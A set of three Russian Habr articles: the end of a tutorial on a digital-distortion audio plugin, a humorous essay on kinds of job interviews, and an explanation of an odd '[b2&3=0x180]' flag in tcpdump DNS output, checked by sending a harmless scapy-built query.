Запустите плагин в REAPER и погоняйте его на тестовом звуке. Когда ручка повернута до упора направо, будет слышен чистый звук. Чем больше против часовой стрелки поворачивается ручка, тем более искаженный становится сигнал.
По мере искажения сигнал становится и тише — это потому, что мы опускаем пороговое значение все ближе и ближе к нулю, и, соответственно, обрезаем амплитуду до все более тихих величин. Чтобы это компенсировать, разделим входное значение на пороговое:
```
if(*input >= 0) {
*output = fmin(*input, mThreshold);
} else {
*output = fmax(*input, -mThreshold);
}
*output /= mThreshold;
```
Чуть выше мы задали минимальное значение для параметра равным `0.01`. Таким образом, мы никогда не будем делить на ноль, даже если до упора повернем ручку налево.
Теперь, если снова запустить плагин, амплитуда будет оставаться на том же уровне. А вот громкость будет казаться выше: обрезание амплитуды приближает нашу синусоидальную волну по форме ближе к [меандру](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B0%D0%BD%D0%B4%D1%80_%28%D1%80%D0%B0%D0%B4%D0%B8%D0%BE%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0%29), который имеет большее [среднеквадратичное значение](https://ru.wikipedia.org/wiki/%D0%A1%D1%80%D0%B5%D0%B4%D0%BD%D0%B5%D0%B5_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5).
Пока что я намеренно стараюсь не лезть в дебри цифровой обработки сигналов. На мой взгляд, хороший плагин — это не просто алгоритмы обработки сигнала. Это смесь, включающая в себя
* надежную совместимость с хостом (настройки, стабильная работа)
* хорошее звучание (вот тут уже цифровая обработка в чистом виде)
* понятный пользовательский интерфейс
* красивый внешний вид
Так что перед погружением в алгоритмы обработки звука в следующих постах добавим пресеты и более приятный интерфейс.
Оригинал статьи:
[martin-finke.de/blog/articles/audio-plugins-005-digital-distortion](http://martin-finke.de/blog/articles/audio-plugins-005-digital-distortion/) | https://habr.com/ru/post/225751/ | null | ru | null |
# Собеседования: ожидания vs реальность
Все мы имеем опыт прохождения собеседований. Все когда-то сидели в комнате с зевающим эйчаром, пытающимся разобраться, о чём поговорить, когда ваши планы на ближайшие 5 лет и все 7 сильных черт вашего характера ей уже известны. Некоторые успели побывать и по другую сторону баррикад, обстреливая каверзными вопросами лезущих на амбразуру открытой вакансии смертников. В любом случае, сталкивались со столь занимательным процессом собеседования. Сталкивались, и, может быть, задумывались, насколько оптимально он устроен, насколько хорошо собеседования справляются со своей задачей поиска наиболее подходящего сотрудника, а точнее, какие виды собеседований с ней справляются, ну а какие нет. Объявленная астрологами неделя постов про собеседования — хороший повод это обсудить.
Системные собеседования
=======================
Наверняка в умных книжках, которые читают в разных коммерческих ВУЗах будущим рекрутёрам, приводится какой-то официальный классификатор собеседований и даже не один, но я в своё время, увы, выучился на программиста, так что попробую обобщить скорее свой личный опыт скольких-то десятков посещённых и чуть менее ста проведённых собеседований.
Пожалуй, все собеседования можно разбить на две большие группы, точнее на одну маленькую и одну большую.
Большая — собеседования по стандарту, системные, как я бы их назвал. Такие, концепцию которых кадровики в организации усваивают с молоком своих более опытных коллег. Они являются практическим воплощением теоретического решения проблемы поиска кандидата и не учитывают ни опыта конкретного эйчара, ни той специфики, что задаёт вакансия, компания (страна, планета, собеседуемый биологический вид и т.д.). В первую очередь это концепция собеседований…
### … «снизу вверх»
Допустим, в вакансии написано что-нибудь про базы данных. Тогда на собеседовании рекрутёр (тут и далее речь будет идти равно как о сотрудниках отдела кадров, так и о технических специалистах, а под сотрудниками отдела кадров будут пониматься хед-хантеры, а не тётеньки, оформляющие больничные и отпуска) начнёт с простеньких вопросов «А что такое транзакция?» или «Чем там varchar отличается от text?» и двинется куда-то вверх в senior-дали проектно-специфичных вопросов про MapReduce в NoSQL. Этот подход логичен, формализуем и довольно прост, он позволяет быстро отсеять некомпетентных соискателей, пользуясь понятными количественными критериями (“Кандидат ответил на 6 из 10 вопросов, а у нас проходное значение 7 — до свидания”).
Ещё одним его плюсом является возможность кастомизации. Так, например, собеседующий может подготовить несколько вопросов сходной сложности и задать их, если соискатель сделает ошибку. Таким образом, можно нивелировать глупые промахи кандидата по невнимательности, дать ему возможность собраться и всё-таки показать себя.
Кроме того, разные специалисты компании-нанимателя могут задавать вопросы из различных тематических блоков, в рамках одной, двух, трёх, шести (привет, Яндекс!), а то и девяти (привет, Facebook!) последовательных встреч. Например, на вакансию пентестера, на которой требуются навыки реверса, один блок вопросов может быть посвящён исключительно анализу защищённости, другой — обратной разработке. Либо первый — анализу защищённости ПО, второй — исследованию безопасности веб-приложений, третий — пентесту АСУ ТП и так далее, в зависимости от того, насколько разносторонний и квалифицированный сотрудник необходим.
Вопросы, при желании, могут разбавляться тестовыми заданиями, предлагаемыми очно, очно-заочно (в skype) или на сколько-то дней на дом.
Собеседование «снизу вверх» обычно продолжается либо до границы необходимой компетентности, либо до момента, пока человек не начнёт ошибаться (так можно понять пределы его знаний и, например, соответствующим образом выставить зарплату).
### Системные собеседования «сверху вниз»
Собеседования, построенные по принципу «сверху вниз», проводятся по аналогии с первой схемой, но с точностью до наоборот. Здесь вопросы ранжируются от сложного к простому, начиная с тех, на которые соискатель точно не ответит.
Такой подход быстрее всего отделяет профессионалов-агнцев от… менее квалифицированных кадров, не мучая первых вопросами из школьного курса, но одновременно давая понять, что зазнаваться им не стоит (вторые при этом уходят с собеседования в слезах).
Собеседования «сверху вниз» также выигрывают от подготовки нескольких вопросов одной сложности, которые задаются, наоборот, когда соискатель ответил на первый свой вопрос.
Конечно, такие собеседования являются более агрессивными и стрессовыми, нежели собеседования «снизу вверх», что делает их не особо подходящими для поиска стажёров-джуниоров, прекрасных дам и прочих лиц тонкой душевной организации.
Несистемные собеседования
=========================
Перечисленные варианты проведения собеседований решают общую задачу проверки уровня знаний претендентов на вакансию. Они, как и какой-нибудь ЕГЭ, неплохо подходят для статистического размежевания массы кандидатов, но не могут обеспечить полноценной оценки уровня знаний человека, тем более его практических навыков. Многие даже элементарные вещи высококвалифицированный специалист может просто не использовать в своей деятельности, а, следовательно, подзабыть. И, наоборот, какие-то даже сложные вопросы будет знать и студент, просто потому, что он их за неделю до того выучил к экзамену. Вот только из этого отнюдь не будет следовать, что первый соискатель плох, а второго надо отрывать с руками.
Системные методы подбора дают хорошее мат. ожидание на длинной дистанции, но могут стать причиной, по которой компания упустит конкретного специалиста завтра.
Пытается решить эту проблему второй, реже встречающийся класс собеседований, которые я бы условно назвал несистемными. Такие собеседования также можно разбить по типам.
### Артефактный подход
Его идея в том, что, будучи специалистом по тому или иному направлению, человек не может не наткнуться на определённые сведения, информационные артефакты (при этом их практическая полезность не играет роли). Так линуксоиды, скорее всего, нечасто используют rm –rf, сишники не пишут код с конструкциями вида ++i + ++i, а знание команд brainfuck’а навряд ли вообще может быть полезным. И, тем не менее, незнание подобных вещей говорит о том, что человек, быть может, правда админит что-то или программирует, но делает это без любви, не расширяя кругозор, не тратя время на общение с коллегами и не пролистывая профильные СМИ. А стоит ли продолжать беседу с кандидатом, когда становится понятно, что он не открывает даже Хабр — вопрос, конечно, риторический. Такие знания, они как умение патчить KDE под FreeBSD среди отаку в соответствующих каналах — не то, что обязательны, но их отсутствие говорит о многом.
Базовый принцип артефактного подхода в том, что для проверки соответствия вакансии берётся не какой-то общий набор полезных для проекта знаний и проверяется будто на экзамене, а выборка фактов, которые соискатель вероятнее всего встречал, действительно работая по профессии в течение скольких-то лет.
А его прелесть в том, что он гораздо лучше позволяет искать людей «своего круга», кто не просто “прошёл материал”, а ознакомился с “дополнительной литературой”.
Как можно догадаться, артефактный подход столь же универсален, что и первые два, и вполне позволяют искать не только программистов, но и любых других специалистов. Допустим, собеседуя фармакологов, можно их спрашивать, чем в своё время прославился талидомид, что значит термин “black box warning”, какова LD50 монооксида дигидрогена и т.д.
Схема особенно хороша для первоначального скрининга кандидатов, и иногда используется крупными компаниями вроде Google (или, внезапно, АНБ), устраивающими мини-викторины, которые позволяют попасть на следующее собеседование.
### Логика, логика, логика
И, вспомнив Google, нельзя не упомянуть ставший уже классическим способ проверки профессиональных навыков и здравого смысла, который иногда применяет эта, да и другие крупные компании. Речь о задачках про школьный автобус полный чикагских настройщиков пианино, который поместили в блендер с мячиками для гольфа закрытый сверху треугольной крышкой. Хорошее представление о них может дать книга «Как сдвинуть гору Фудзи? Подходы ведущих мировых компаний к поиску талантов», посвящённая практике использования логических задач на собеседованиях в Microsoft. Такими задачами собеседования никогда не исчерпывается, но их иногда спрашивают даже в отечественных компаниях. Особенно в рекрутинговых, где персонал читал указанную книгу…
В более широком смысле, в ту же категорию попадают и вопросы типа “Cкажите, как бы вы объяснили 9-летнему ребёнку, как работает поисковик Google?”, “Как вы реализовывали бы Tetris?”, “Какие сложности возникли бы у Netflix, если бы все их дата-центры располагались на Луне?”, “Как бы вы искали корреляцию между стабильностью любовных отношений на расстоянии и ценами на нефть?” и т.п.
### Сын ошибок трудных
Задача собеседования — найти человека для выполнения определённой работы. Логично было бы при этом проверять опыт, необходимый для той самой работы, смотреть код, обсуждать старые проекты и т.п., но, нет, чаще всего тестируются знания, а не умения и навыки. Причём, нередко не те знания, которые реально понадобятся кандидату, а бесконечные обходы лесов красно-чёрных деревьев в ширину или подсчёт сложности о-малого от логарифма о-большого.
Звучит безумно глупо, хотя своя логика в этом есть: невозможно или, по крайней мере, весьма проблематично проверить тщательность и аккуратность тестировщика, системное мышление аналитика или, скажем, его умение быстро структурировать сведения в груде разрозненного материала. Гораздо проще попросить последнего перечислить стандарты 34-й серии ГОСТов, спросить, чему посвящён трехглавый приказ, или какой символ соответствует событию «сигнал» в нотации BPMN 1.1. Стандартный подход проведения собеседований тут близок артефактному, но близок в недостатках. Всё-таки даже эйчары должны догадываться о существовании гугла и том, что значимость зубрёжки со времён Яна Коменского несколько упала.
Немного помогает практика выдачи соискателям тестовых заданий, однако, даже в случае, когда это возможно, их решение напрямую в ходе собеседования проверяет не столько навыки, сколько стрессоустойчивость кандидата, а домашнее задание, скажем, написать программу — наличие у соискателя друзей-программистов.
Сами задания — хорошая идея, но, почему-то мало кому в голову приходит приблизить их к деятельности, которой на самом деле займётся будущий сотрудник. В описании вакансии есть что-то про командную работу? Так почему её и не проверить? Ведь это же не сложно, попросить соискателя в течение, положим, двух часов заняться чем-нибудь совместно с одним из штатных программистов. По аналогии, аналитику можно доверить составление обзора стиральных порошков, написание справки по заданной системе автоматического перевода или концептуальной схемы обхода валютного контроля при выводе криптовалюты за рубеж. И это много лучше протестирует его навыки Аналитика (с большой буквы), чем даже очень пристрастный допрос по требованиям ГОСТов и прочих НПА.
Более того, проверка опыта и навыков — вещь универсальная. На собеседовании в разведку можно просить, чтоб соискатель на следующую встречу пришёл с селфи с крыши посольства какого-нибудь Узбекистана и видео из главного офиса Mail.ru. Для прохождения собеседования на senior-специалиста, селфи должно быть сделано, соответственно, на фоне американского истребителя с какой-нибудь военной базы НАТО. Успех наглядно продемонстрирует все навыки, необходимые кандидату.
### Одна волна
И под конец рассмотрим, пожалуй, самую несерьёзную методологию контроля уровня технической грамотности кандидатов — их можно выбирать по чувству юмора :)
Как именно? Например, так: мы просим соискателя- программиста немного посидеть в переговорке, где на столе лежит набор картинок с шутками на тему. А дальше смотрим реакцию, когда он их начнёт читать.
Подобный тест может довольно много сказать о человеке. Улыбнётся он, уточнит, зачем ему подсунули этот сборник баянов или вообще не поймёт, в чём юмор. Какая реакция будет правильной решать стоит, конечно, в каждом случае отдельно.
В сухом остатке
===============
Конечно, смотря на вопрос подбора с позиции компании, понимаешь, что каждая встреча с соискателем — это деньги, а день простоя на проекте без нужного специалиста — большие деньги. В такой ситуации всерьёз выбирать между системными и несистемными собеседованиями не приходится. Но каждый опытный эйчар знает, что, как и в покере, при поиске кандидатов необходимо варьировать игру, включая в классические собеседования те или иные экспериментальные элементы. Тут пошутить и посмотреть на реакцию, здесь поинтересоваться о том, как узнать вес реактивного самолёта, если нельзя положить его на весы, а там попросить в двух словах рассказать об [RFC 2549 «IP over Avian Carriers»](https://ru.wikipedia.org/wiki/IP_%D0%BF%D0%BE%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%BE%D0%BC_%D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B2%D1%8B%D1%85_%D0%B3%D0%BE%D0%BB%D1%83%D0%B1%D0%B5%D0%B9). И, может быть, следующим попадёт в компанию не тот, кто лучше выучит гайд «300 вопросов, которые обычно задают на собеседованиях», а тот, кто правда впишется в команду и сделает это с блеском.
`**PS** Ещё немного из понравившегося:
- «God is real, unless explicitly declared as integer»
- «C++ would make a decent teaching language if we could teach the ++ part without the C part»
- «How do you generate a random string? ... Put a web designer in front of VIM and tell him to save and exit.»` | https://habr.com/ru/post/485790/ | null | ru | null |
# Разбираем нестандартный udp dns запрос с помощью tcpdump
Реагируя на очередной «pseudorandom subdomain» ([PRSD](https://indico.dns-oarc.net//getFile.py/access?contribId=9&sessionId=2&resId=0&materialId=slides&confId=20)) DDoS, а они очень хорошо видны на графике исходящих запросов:
Я наткнулся на странный udp запрос.
Стандартный udp запрос-ответ выглядит так:
> 20:14:17.533119 IP [ip-address].60000 > [resolver-ip].53: 31337+ A? ya.ru. (23)
>
> 20:14:17.534871 IP [resolver-ip].53 > [ip-address].60000: 31337 3/0/0 A 213.180.204.3, A 213.180.193.3, A 93.158.134.3 (71)
>
>
Но иногда в логах tcpdump можно увидеть следующее:
> 20:16:43.333220 IP [ip-address].60000 > [resolver-ip].53: 31337+ [b2&3=0x180] A? ya.ru. (23)
>
> 20:16:43.336146 IP [resolver-ip].53 > [ip-address].60000: 31337 3/0/0 A 213.180.193.3, A 213.180.204.3, A 93.158.134.3 (71)
>
>
Запрос почти не изменился, но появилось поле: **[b2&3=0x180]** ( там могут быть разные значения ).
Что оно означает?
В документации к [tcpdump](http://www.tcpdump.org/tcpdump_man.html) написано:
> If any of the response bits are set (AA, RA or rcode) or any of the `must be zero' bits are set in bytes two and three, `[b2&3=x]' is printed, where x is the hex value of header bytes two and three.
Если посмотреть из чего состоит [заголовок dns пакета](http://tools.ietf.org/html/rfc1035), то можно увидеть следующее:
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
Нас интересуют поле:
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
Если 0х180 перевести в двоичную систему счисления, то получим:
> $ echo 'ibase=16;obase=2;180'|bc
>
> 1 1000 0000
Т.к. байт 16, то итоговое число выглядит так:
**0000 0001 1000 0000**
Если посмотреть на заголовок пакета, то можно увидеть, что в пакете выставлены биты отвечающие за рекурсию. RD — recursion desired и RA — recursion available.
В исходящем пакете dns запроса не ожидается бит RA, поэтому tcpdump говорит об этом, показывая конструкцию: [b2&3=0x180].
Можно перепроверить себя, чтобы убедиться, что был установлен именно бит RA.
В этом поможет [scapy](http://www.secdev.org/projects/scapy/):
```
#!/usr/bin/env python
from scapy.all import *
pkt=IP(dst="[resolver-ip]")/\
UDP(sport=60000)/\
DNS(id=31337,qr=0,rd=1,ra=1,qd=DNSQR(qname="ya.ru"))
pkt.show2()
send(pkt)
```
Сформировав пакет и отослав его, в консоли с tcpdump можно увидеть, что именно об этом поведении и шла речь:
> $ sudo tcpdump -n -i eth0 port 53 and host [resolver-ip]
>
>
>
> 20:17:43.975572 IP [ip-address].60000 > [resolver-ip].53: 31337+ [b2&3=0x180] A? ya.ru. (23)
>
> 20:17:43.979447 IP [resolver-ip].53 > [ip-address].60000: 31337 3/0/0 A 93.158.134.3, A 213.180.204.3, A 213.180.193.3 (71) | https://habr.com/ru/post/241375/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.